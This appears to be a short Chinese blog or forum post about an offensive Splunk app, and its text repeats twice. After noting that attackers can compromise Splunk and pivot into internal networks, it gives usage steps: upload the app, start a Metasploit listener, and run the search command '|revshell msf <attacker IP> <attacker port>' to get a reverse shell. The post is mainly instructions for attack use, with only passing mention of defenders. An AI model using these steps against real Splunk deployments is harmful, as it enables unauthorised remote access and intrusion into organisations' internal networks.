Splunk是一个日志、流量聚合分析工具，通常用于防御分析和基础设施管理。正日Github作者说的，虽然这些工具可以很好地发现安全事件及风险，但它们也会反过来被攻击者利用，攻陷splunk并渗透内网中，成为管理员的噩梦。
使用方法：
上传APP后，本地使用MSF监听，并在splunk中执行以下语句即可获取shell
|revshell msf <attacker IP> <attacker port>
Splunk是一个日志、流量聚合分析工具，通常用于防御分析和基础设施管理。正日Github作者说的，虽然这些工具可以很好地发现安全事件及风险，但它们也会反过来被攻击者利用，攻陷splunk并渗透内网中，成为管理员的噩梦。
使用方法：
上传APP后，本地使用MSF监听，并在splunk中执行以下语句即可获取shell
|revshell msf <attacker IP> <attacker port>
评论留言